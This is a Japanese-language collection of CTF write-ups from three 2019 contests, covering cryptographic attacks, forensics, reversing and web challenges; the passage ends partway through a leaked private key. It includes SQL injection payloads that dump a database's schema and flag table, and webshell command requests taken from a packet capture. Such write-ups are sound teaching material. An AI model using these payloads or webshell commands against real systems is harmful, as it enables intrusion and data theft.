Facebook CTF 2019 Writeup

この大会は2019/6/1 9:00(JST)~2019/6/3 9:00(JST)に開催されました。
今回もチームで参戦。結果は2380点で1734チーム中73位でした。
自分で解けた問題をWriteupとして書いておきます。

irc (misc)

freenodeで#fbctf-2019チャネルに入る。

09:14 *topic : CTF has started. Event ends June 3rd 00:00:00 UTC. fb{move_fast_and_hack_things}
fb{move_fast_and_hack_things}

easter egg (misc)

https://www.fbctf.com/careersのHTMLソースを見ると、HTMLタグの間に1文字ずつフラグの断片が入っている。

fb{we're_hiring}

keybaseish (crypto)

login画面やregister画面そのものには特に何も情報はない。次にlogin画面にリンクされているパスワードリカバリ画面を開く。
f:id:satou-y:20190608082742p:plain
ここではアクセスするたびに変わるpin番号が書いてあり、signature生成のスクリプトへのリンクがある。
スクリプトhttp://challenges.fbctf.com:8080/downloadは以下のようになっている。

from Crypto.PublicKey import RSA
from Crypto import Random

def print_twitter(sig):
    sig_str = str(sig)
    n = (len(sig_str) / 255) + 1
    chunks, chunk_size = len(sig_str), int(len(sig_str)/n) + 1
    tweets = [ sig_str[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
    print("Please post these signature strings as public twitter posts from your accout:")
    for ndx in range(len(tweets)):
        print ('  "PRF{}/{}:{}"'.format(ndx+1, len(tweets), tweets[ndx]))

def main():
    rng = Random.new().read
    print('Enter challenge pin from site: ')
    pin = input()
    print('Signing "{}" with a new RSA key....'.format(pin))
    RSAkey = RSA.generate(1024, rng)
    signature = RSAkey.sign(int(pin), rng)
    key_params = RSAkey.__getstate__()
    print_twitter(signature[0])
    print('\\n\\nPlease input your public key on the web form:')
    print('  "{}:{}"'.format(key_params['e'], key_params['n']))
    print('\\n\\n')

if __name__ == '__main__':
    main()

スクリプトRSAの通常の署名アルゴリズムになっていて、以下の式が成り立つ。

pow(signature, e, n) == pin

またパスワードリカバリ画面には、管理者のアカウントの情報として、以下のURLが記載されている。

https://twitter.com/baseishcoinfou1

ここにアクセスすると、signatureに関する情報が記載されている。
f:id:satou-y:20190608083033p:plain
スクリプトからsignatureは分断されているだけということがわかるので、1/2に書かれている数値と2/2に書かれている数値を結合したものがsignatureになる。
あとはeを適当に決めて、nを算出してe:nの形式にできれば、フラグにつながる情報が得られる。pinには900194が表示されたので、それを前提にスクリプトを組む。

sig1 = '43522081190908620239526125376626925272670879862906206214798620592212761409287968319160030205818706732092664958217053982767385296720310547463903001181881966'
sig2 = '554081621263332073144333148831108871059921677679366681345909190184917461295644569942753755984548017839561073991169528773602380297241266112083733072690367'
sig = int(sig1 + sig2)

e = 5
pin = 900194

n = pow(sig, e) - pin

print str(e) + ':' + str(n)

実行結果は以下の通り。

5:156152259934610603327242777109298638373934572320003018946780705593035129444427250712903196953268692654576940252842426080729553952653677882004392693966587497895771126063209172520687408155983845138814448218643812756870429001677159139697312185528286445629870220439486395991895413533025617686453330864683812555753179156400433858871091471963735884941049381029699284926525734780530683371637232542486580601832498002442370205259218637335066255536340402863614960635863279257288993952331758568563539255171752333659803630559976542479997459049186400474006649599261061239561731085004017823362429679461455596473090496147014713630612514413037251048846131962952608974559597665037989589516588758915639505296076818565509671460227096392858914958248349719519761080165615153613390888909577250254133864459387364823840496709605537195438529272540877498372727188018102166924786597538072319044503910010189326796934513137869684765977644563798377464844285519970335294217160696344254550102370879793030817756422968722131250375494110628633064924047523515038128770714301615363185342011455425978139447595336835379107137242896370138133354739730815895341370949542102301040465958437918589288157598747503502123011375289921007339937318514618737528870366815796019608309972031321180211231027906387141262192775078672105433479871010768651433527003348326639168952600370384527925162635252188830536959099871687232387447443824170080109823399109258223217519865552564954330502656132579024379460503613264612232039663908389480448494284442261160415871697947245392343456421606992172540056413

ハンドルネームはtwitterのハンドルネームを指定して、このスクリプトの実行結果を公開鍵として指定する。

twitter handle: baseishcoinfou1
public key: スクリプト実行結果

送信すると、画面遷移し、以下の情報が表示された。

Temporary Password
Account @admin Recovered:

Use this password to login: RWTFK1Z3zx5dsBV

login画面で以下を指定して送信すると、フラグが表示された。

Twitter handle: baseishcoinfou1
Password: RWTFK1Z3zx5dsBV

f:id:satou-y:20190608083320p:plain

flag{6F4EF3C06D00C14731B424069225CC6CAE96CD869E03C1B45A5D94A08F679DA2}

SECCON Beginners CTF 2019 Writeup

この大会は2019/5/25 15:00(JST)~2019/5/26 15:00(JST)に開催されました。
今回は個人で参戦。結果は2270点で666チーム中34位でした。
解けた問題をWriteupとして書いておきます。

[warmup] Welcome (Misc)

freenodeで#seccon-beginners-ctfチャネルに入ると、フラグが書いてあった。

15:02 *topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}
ctf4b{welcome_to_seccon_beginners_ctf}

containers (Misc)

foremostでカービングする。

$ foremost containers
Processing: containers
|*|

pngがたくさん抽出でき、1文字ずつ画像になっていて、順に結合するとフラグになる。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump (Misc)

添付ファイルはpcapファイルだった。Wiresharkで開き、httpでフィルタリングする。それぞれ以下の内容になっている。

■No.12
GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> ls -l /home/ctf4b/flag

■No.14
-rw-r--r-- 1 ctf4b ctf4b 767400 Apr  7 19:46 /home/ctf4b/flag\n

■No.22
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag

■No.3193
バイナリを8進数で表現して並べている。

flagファイルを復元してみる。

with open('3193.bin', 'r') as f:
    o_data = f.read().rstrip()

codes = o_data.replace('\n', ' ').split(' ')

flag = ''
for code in codes:
    flag += chr(int(code, 8))

with open('flag', 'wb') as f:
    f.write(flag)
$ file flag
flag: gzip compressed data, last modified: Sun Apr  7 10:46:34 2019, from Unix
$ mv flag flag.gz
$ gzip -d flag.gz
$ file flag
flag: POSIX tar archive
$ mv flag flag.tar
$ tar xvf flag.tar 
./._flag.jpg
flag.jpg

flag.jpgにフラグが書いてあった。
f:id:satou-y:20190527215033j:plain

ctf4b{hexdump_is_very_useful}

Sliding puzzle (Misc)

3x3のスライドパズルを繰り返し解くと最後にフラグが表示されるようだ。https://github.com/fabianokafor369/Sliding-puzzle-solver/blob/master/main.pyを流用する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def place_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass

    flat_statelist = [item for sublist in state for item in sublist]
    misplacedcounter = 0
    for element in flat_statelist:
        if flat_statelist.index(element) != element:
            misplacedcounter += 1
    return misplacedcounter

def Manhattan_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mandistance = 0

    for element in flat_statelist:
        distance = abs(flat_goallist.index(element) - flat_statelist.index(element))
        xcoord, ycoord = distance//len(state[0]), distance%len(state[0])
        mandistance += xcoord + ycoord
    return mandistance

def myheuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mydistance = 0

    for i in range(len(state[0])):
        for j in state[i]:
            for k in state[i]:
                if j and k in goalstate(state)[i] and (flat_goallist.index(j) - flat_statelist.index(j) > 0 and flat_goallist.index(k) - flat_statelist.index(k) < 0) or (flat_goallist.index(j) - flat_statelist.index(j) < 0 and flat_goallist.index(k) - flat_statelist.index(k) > 0):
                    mydistance += 2
    return mydistance/2 + Manhattan_heuristic(state)

heuristics = [place_heuristic, Manhattan_heuristic, myheuristic]

def goalstate(state):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    goal = []
    glstcounter = 0
    for j in range(len(state[0])):
        goal.append(range(glstcounter, glstcounter + len(state[0])))
        glstcounter += len(state[0])
    return goal

def moves(inputs, n):
    storage  =  []
    inputs = str(inputs)
    move = eval(inputs)

    i = 0
    while 0 not in move[i]: i += 1
    j = move[i].index(0);  # blank space (zero)

    if i > 0:
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];
        storage.append(str(move))
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];

    if i < n-1:
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]
        storage.append(str(move))
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]

    if j > 0:
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]

    if j < n-1:
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]

    return storage

def Astar(start, finish, heuristic):
    n = len(start)
    start , finish = str(start), str(finish)
    pathstorage = [[heuristic(start), start]]  # optional: heuristic_1
    expanded = []
    expanded_nodes = 0
    while pathstorage:
        i = 0
        for j in range(1, len(pathstorage)):
            if pathstorage[i][0] > pathstorage[j][0]:
                i = j
        path = pathstorage[i]
        pathstorage = pathstorage[:i] + pathstorage[i + 1:]
        finishnode = path[-1]
        if finishnode == finish:
            break
        if finishnode in expanded: continue
        for b in moves(finishnode, n):
            if b in expanded: continue
            newpath = [path[0] + heuristic(b) - heuristic(finishnode)] + path[1:] + [b]
            pathstorage.append(newpath)
            expanded.append(finishnode)
        expanded_nodes += 1
    return expanded_nodes,  len(path), path

def get_sp_pos(matrix):
    for i in range(len(matrix)):
        for j in range(len(matrix[0])):
            if matrix[i][j] == 0:
                return i, j

def solvePuzzle(n, state, heuristic, prnt):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))

    if len(flat_statelist) != n**2:
        steps, frontierSize, err = 0, 0, -1
    elif True in [i not in flat_statelist for i in range(0,n**2-1)]:
        steps, frontierSize, err = 0, 0, -1
    else:
        steps, frontierSize, solutions = Astar(state,goalstate(state), heuristic)
        err = 0

    ope = ''
    if prnt == True:
        pre = (-1, -1)
        for sol in solutions[1:]:
            if pre[0] != -1:
                cur = get_sp_pos(eval(sol))
                if cur[0] == pre[0]:
                    if cur[1] < pre[1]:
                        ope += '3,'
                    else:
                        ope += '1,'
                else:
                    if cur[0] < pre[0]:
                        ope += '0,'
                    else:
                        ope += '2,'
                pre = cur
            else:
                pre = get_sp_pos(eval(sol))
    return ope[:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.50.201', 24912))

for i in range(100):
    print 'Round %d' % (i+1)
    puzzle = []
    data = recvuntil(s, '\n').rstrip()
    print data
    for j in range(3):
        data = recvuntil(s, '\n').rstrip()
        print data
        puzzle.append(map(int, data[2:-2].split(' | ')))
    data = recvuntil(s, '\n').rstrip()
    print data
    ans = solvePuzzle(3, puzzle, heuristics[2], True)
    print ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
Round 100
----------------
| 01 | 00 | 05 |
| 03 | 02 | 04 |
| 06 | 07 | 08 |
----------------
2,1,0,3,3

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

[warmup] So Tired (Crypto)

base64デコードすると、zlibデータになっている。さらに展開すると、base64になっている。これを繰り返していくと、フラグにたどりつきそう。

import zlib

with open('encrypted.txt', 'r') as f:
    data = f.read()

i = 1
while True:
    print 'Round %d' % i
    try:
        data = zlib.decompress(data.decode('base64'))
    except:
        break
    i += 1

print data
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party (Crypto)

スクリプトの処理概要は以下の通り。

coeff = [flag, 512bitランダム整数, 512bitランダム整数]
party = [512bitランダム整数, 512bitランダム整数, 512bitランダム整数]

partyの各値について以下を出力
・coeff[0] * pow(party[i], 0) + coeff[1] * pow(party[i], 1) + coeff[2] * pow(party[i], 2)

三元方程式になる。これを解くとフラグがわかる。

from sympy import *
from Crypto.Util.number import *

M = 3

with open('encrypted', 'r') as f:
    output = eval(f.read())

party = [output[i][0] for i in range(M)]
val = [output[i][1] for i in range(M)]

x = Symbol('x')
y = Symbol('y')
z = Symbol('z')

eq = []
for i in range(M):
    eq.append(pow(party[i], 0) * x + pow(party[i], 1) * y + pow(party[i], 2) * z - val[i])
ans = solve(eq)
secret = ans[x]

flag = long_to_bytes(secret)
print flag
ctf4b{just_d0ing_sh4mir}

Go RSA (Crypto)

flagの暗号化した数値を表示し、指定した数値で暗号化した結果を3回表示した後、Dの値を表示している。2と4と16を指定し、nを算出する。あとは普通に復号すれば、フラグが得られる。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.17.175', 1337))

data = recvuntil(s, '\n').rstrip()
print data
c = int(data.split(' ')[-1])

try_rsa_enc = []
for m in [2, 4, 16]:
    data = recvuntil(s, '> ').rstrip()
    print data + str(m)
    s.sendall(str(m) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    try_rsa_enc.append(int(data))

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

n, _, _ = egcd(diff1, diff2)

for i in range(100, 1, -1):
    if n % i == 0:
        n /= i
        break

data = recvuntil(s, '\n').rstrip()
print data
d = int(data.split(' ')[-1])

m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
ctf4b{f1nd_7he_p4ramet3rs}

Bit Flip (Crypto)

フラグ全体の長さの下1/4のどこかのbitを反転して、暗号化した結果を表示する。

$ nc 133.242.17.175 31337
67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
$ nc 133.242.17.175 31337
24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

Short Pad attackとRelated Message attackを組み合わせて復号してみる。

# solve.sage
def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
c1 = 67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
c2 = 24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

diff = short_pad_attack(c1, c2, e, N)
m = related_message_attack(c1, c2, diff, e, N)

flag = ('%x' % m).decode('hex')
print flag

実行結果は以下の通り。

ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUIMY
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}

[warmup] Ramen (Web)

名前に含まれている文字を指定すると検索でき、unionを使ったSQLインジェクションができる。

■太郎' union select 1,2 -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
1	2

■' union select table_schema, table_name from information_schema.tables -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
information_schema	CHARACTER_SETS
information_schema	COLLATIONS
information_schema	COLLATION_CHARACTER_SET_APPLICABILITY
information_schema	COLUMNS
information_schema	COLUMN_PRIVILEGES
information_schema	ENGINES
information_schema	EVENTS
information_schema	FILES
information_schema	GLOBAL_STATUS
information_schema	GLOBAL_VARIABLES
information_schema	KEY_COLUMN_USAGE
information_schema	OPTIMIZER_TRACE
information_schema	PARAMETERS
information_schema	PARTITIONS
information_schema	PLUGINS
information_schema	PROCESSLIST
information_schema	PROFILING
information_schema	REFERENTIAL_CONSTRAINTS
information_schema	ROUTINES
information_schema	SCHEMATA
information_schema	SCHEMA_PRIVILEGES
information_schema	SESSION_STATUS
information_schema	SESSION_VARIABLES
information_schema	STATISTICS
information_schema	TABLES
information_schema	TABLESPACES
information_schema	TABLE_CONSTRAINTS
information_schema	TABLE_PRIVILEGES
information_schema	TRIGGERS
information_schema	USER_PRIVILEGES
information_schema	VIEWS
information_schema	INNODB_LOCKS
information_schema	INNODB_TRX
information_schema	INNODB_SYS_DATAFILES
information_schema	INNODB_LOCK_WAITS
information_schema	INNODB_SYS_TABLESTATS
information_schema	INNODB_CMP
information_schema	INNODB_METRICS
information_schema	INNODB_CMP_RESET
information_schema	INNODB_CMP_PER_INDEX
information_schema	INNODB_CMPMEM_RESET
information_schema	INNODB_FT_DELETED
information_schema	INNODB_BUFFER_PAGE_LRU
information_schema	INNODB_SYS_FOREIGN
information_schema	INNODB_SYS_COLUMNS
information_schema	INNODB_SYS_INDEXES
information_schema	INNODB_FT_DEFAULT_STOPWORD
information_schema	INNODB_SYS_FIELDS
information_schema	INNODB_CMP_PER_INDEX_RESET
information_schema	INNODB_BUFFER_PAGE
information_schema	INNODB_CMPMEM
information_schema	INNODB_FT_INDEX_TABLE
information_schema	INNODB_FT_BEING_DELETED
information_schema	INNODB_SYS_TABLESPACES
information_schema	INNODB_FT_INDEX_CACHE
information_schema	INNODB_SYS_FOREIGN_COLS
information_schema	INNODB_SYS_TABLES
information_schema	INNODB_BUFFER_POOL_STATS
information_schema	INNODB_FT_CONFIG
app	flag
app	members

■' union select table_name, column_name from information_schema.columns where table_name='flag' -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
flag	flag

■' union select 1, flag from app.flag -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
1	ctf4b{a_simple_sql_injection_with_union_select}
ctf4b{a_simple_sql_injection_with_union_select}

katsudon (Web)

https://katsudon.quals.beginners.seccon.jp/flagにアクセスすると、以下のように書いてある。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

"--" の左側をBase64デコードしてみる。

>>> 'BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU'.decode('base64')
'\x04\x08I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}\x06:\x06ET'

フラグが含まれていた。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[warmup] Seccompare (Reversing)

$ objdump -d -M intel seccompare > seccompare.asm
$ cat seccompare.asm
         :
00000000004005e7 <main>:
  4005e7:	55                   	push   rbp
  4005e8:	48 89 e5             	mov    rbp,rsp
  4005eb:	48 83 ec 40          	sub    rsp,0x40
  4005ef:	89 7d cc             	mov    DWORD PTR [rbp-0x34],edi
  4005f2:	48 89 75 c0          	mov    QWORD PTR [rbp-0x40],rsi
  4005f6:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
  4005fd:	00 00 
  4005ff:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  400603:	31 c0                	xor    eax,eax
  400605:	83 7d cc 01          	cmp    DWORD PTR [rbp-0x34],0x1
  400609:	7f 25                	jg     400630 <main+0x49>
  40060b:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
  40060f:	48 8b 00             	mov    rax,QWORD PTR [rax]
  400612:	48 89 c6             	mov    rsi,rax
  400615:	48 8d 3d 68 01 00 00 	lea    rdi,[rip+0x168]        # 400784 <_IO_stdin_used+0x4>
  40061c:	b8 00 00 00 00       	mov    eax,0x0
  400621:	e8 ba fe ff ff       	call   4004e0 <printf@plt>
  400626:	b8 01 00 00 00       	mov    eax,0x1
  40062b:	e9 b1 00 00 00       	jmp    4006e1 <main+0xfa>
  400630:	c6 45 d0 63          	mov    BYTE PTR [rbp-0x30],0x63
  400634:	c6 45 d1 74          	mov    BYTE PTR [rbp-0x2f],0x74
  400638:	c6 45 d2 66          	mov    BYTE PTR [rbp-0x2e],0x66
  40063c:	c6 45 d3 34          	mov    BYTE PTR [rbp-0x2d],0x34
  400640:	c6 45 d4 62          	mov    BYTE PTR [rbp-0x2c],0x62
  400644:	c6 45 d5 7b          	mov    BYTE PTR [rbp-0x2b],0x7b
  400648:	c6 45 d6 35          	mov    BYTE PTR [rbp-0x2a],0x35
  40064c:	c6 45 d7 74          	mov    BYTE PTR [rbp-0x29],0x74
  400650:	c6 45 d8 72          	mov    BYTE PTR [rbp-0x28],0x72
  400654:	c6 45 d9 31          	mov    BYTE PTR [rbp-0x27],0x31
  400658:	c6 45 da 6e          	mov    BYTE PTR [rbp-0x26],0x6e
  40065c:	c6 45 db 67          	mov    BYTE PTR [rbp-0x25],0x67
  400660:	c6 45 dc 73          	mov    BYTE PTR [rbp-0x24],0x73
  400664:	c6 45 dd 5f          	mov    BYTE PTR [rbp-0x23],0x5f
  400668:	c6 45 de 31          	mov    BYTE PTR [rbp-0x22],0x31
  40066c:	c6 45 df 73          	mov    BYTE PTR [rbp-0x21],0x73
  400670:	c6 45 e0 5f          	mov    BYTE PTR [rbp-0x20],0x5f
  400674:	c6 45 e1 6e          	mov    BYTE PTR [rbp-0x1f],0x6e
  400678:	c6 45 e2 30          	mov    BYTE PTR [rbp-0x1e],0x30
  40067c:	c6 45 e3 74          	mov    BYTE PTR [rbp-0x1d],0x74
  400680:	c6 45 e4 5f          	mov    BYTE PTR [rbp-0x1c],0x5f
  400684:	c6 45 e5 65          	mov    BYTE PTR [rbp-0x1b],0x65
  400688:	c6 45 e6 6e          	mov    BYTE PTR [rbp-0x1a],0x6e
  40068c:	c6 45 e7 30          	mov    BYTE PTR [rbp-0x19],0x30
  400690:	c6 45 e8 75          	mov    BYTE PTR [rbp-0x18],0x75
  400694:	c6 45 e9 67          	mov    BYTE PTR [rbp-0x17],0x67
  400698:	c6 45 ea 68          	mov    BYTE PTR [rbp-0x16],0x68
  40069c:	c6 45 eb 7d          	mov    BYTE PTR [rbp-0x15],0x7d
               :

1文字ずつ比較している。これをASCIIコードとして文字にする。

codes = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x35, 0x74, 0x72, 0x31, 0x6e,
    0x67, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x6e, 0x30, 0x74, 0x5f, 0x65, 0x6e,
    0x30, 0x75, 0x67, 0x68, 0x7d]

flag = ''
for code in codes:
    flag += chr(code)

print flag
ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage (Reversing)

Ghidraで解析する。is_correct関数は以下のようになっている。

undefined8 is_correct(char *pcParm1)

{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(pcParm1);
  if (sVar2 == 0x22) {
    local_c = 0;
    while (local_c < 0x22) {
      cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]);
      if (cVar1 != pcParm1[(long)local_c]) {
        return 0;
      }
      local_c = local_c + 1;
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

これを見ると、フラグの長さは0x22(=34)であることがわかる。convert関数は複雑だが、フラグを先頭から1文字ずつ検証していることがわかる。
そこでgdbでconvertの後の値を$rbp-5の値を見て確認していく。

$ gdb -q ./leakage
Reading symbols from ./leakage...(no debugging symbols found)...done.
gdb-peda$ b *0x400643
Breakpoint 1 at 0x400643
gdb-peda$ r ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
Starting program: /mnt/hgfs/Shared/leakage ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
        :
gdb-peda$ c
        :
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x61 (b'a')
RBX: 0x0 
RCX: 0x0 
RDX: 0x6 
RSI: 0x174d4705 
RDI: 0x7745f3cb 
RBP: 0x7fffffffda60 --> 0x7fffffffda80 --> 0x400bc0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffda40 --> 0x1 
RIP: 0x400643 (<is_correct+92>:	cmp    BYTE PTR [rbp-0x5],al)
R8 : 0xb09965ff 
R9 : 0xc1f127cb 
R10: 0xf854b3c5 
R11: 0x14ba3627 
R12: 0x400500 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdb60 --> 0x2 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000000000400643 in is_correct ()
gdb-peda$ x/b $rbp-5
0x7fffffffda5b:	0x6c ★"l"のASCIIコード

これを繰り返し、1文字ずつ割り出す。

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation (Reversing)

Ghidraで解析する。is_correct関数は複雑な処理になっていて、1文字ずつ確認するのは難しいので、angrで解く。

import angr

p = angr.Project('./linear_operation')
initial_state = p.factory.entry_state()
pg = p.factory.simgr(initial_state)
a = pg.explore(find=0x40cf78, avoid=0x40cf86)
if len(a.found) > 0:
    s = a.found[0].state
    print '%r' % s.posix.dumps(0)
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Security Fest 2019 Writeup

この大会は2019/5/23 0:00(JST)~2019/5/24 0:00(JST)に開催されました。
今回もチームで参戦。結果は1893点で465チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (warmup, misc)

freenodeで#securityfest-ctfチャネルに入ると、フラグが書いてあった。

sctf{securityfestctf_2019}

Darkwebmessageboard (crypto, osint, web)

問題のURLにアクセスし、HTMLソースを見ると、コメントにこう書いてある。

<!-- | Dark Web Message Board | DEVELOPED BY K1tsCr3w | Open source at Kits-AB | -->

OpenSource上にソースがあると踏んで、このコメントをもとに検索してみると、以下の場所にソースがあることがわかった。

https://github.com/kits-ab/the-dark-message-board

app.pyに以下の記載がある。

@app.route("/boards/<id>")
def board(id):
    posts = []

    if int(id) == 1:
        posts = Post.select()
    
    return render_template("board.html", posts=posts)

以下のURLでメッセージボードが見れることがわかる。

http://darkboard-01.pwn.beer:5001/boards/1

メッセージボードの最下部に暗号メッセージが掲載されている。これを復号できればよさそう。

rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==

https://github.com/kits-ab/the-dark-message-board/blob/master/tests/test_crypto.pyを使って暗号化しているようだが、そのまま利用するだけでは復号できない。別の秘密鍵を使っているようだ。
そこでgithub上のCommitsの履歴を見てみる。この履歴の中に「removed the production key, luckily it was encrypted with a password …」というのがある。
これを見ると、以下の内容のEncryption.txtが削除されていたことがわかる。

PEM_PRIVATE_KEY=b"""-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
